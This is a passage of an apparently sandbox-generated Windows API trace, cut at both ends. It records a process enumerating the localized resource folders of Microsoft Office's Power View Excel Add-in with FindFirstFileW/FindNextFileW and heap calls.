lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0280.405] GetProcessHeap () returned 0xaf0000 [0280.405] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ro\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.407] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.407] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aa3169, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aa3169, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.407] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6aee686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6aee686, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.407] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.407] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98ae9c2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98ae9c2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x98ae9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.407] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d3adab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d871e6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ro.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.407] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d3adab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d871e6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ro.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.407] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.408] GetProcessHeap () returned 0xaf0000 [0280.408] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.408] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0280.408] GetProcessHeap () returned 0xaf0000 [0280.408] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.409] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.410] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.410] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.410] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.410] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0e95c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0e95c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.410] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefe00baf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.410] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d14b21, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x530d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ru.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.410] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d14b21, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x530d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ru.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.410] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.614] GetProcessHeap () returned 0xaf0000 [0280.615] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.615] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0280.615] GetProcessHeap () returned 0xaf0000 [0280.615] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sk\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.616] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.616] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c6bda4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.616] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb86af90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb86af90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb86af90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.617] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.618] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.618] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e92299, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15eb84b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50264, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sk.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.618] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e92299, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15eb84b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50264, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sk.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.618] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.619] GetProcessHeap () returned 0xaf0000 [0280.619] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.619] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0280.619] GetProcessHeap () returned 0xaf0000 [0280.619] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.621] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.621] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b359a5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4868, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.621] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42d8c51, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.621] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.621] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f4ff2d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f4ff2d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.621] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e45dad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e6c018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.621] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e45dad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e6c018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sl.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.621] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.622] GetProcessHeap () returned 0xaf0000 [0280.622] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.622] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0280.623] GetProcessHeap () returned 0xaf0000 [0280.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.624] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.624] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a2a905, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1600fa20, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc40a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.624] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ab1579, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ab1579, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.624] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, 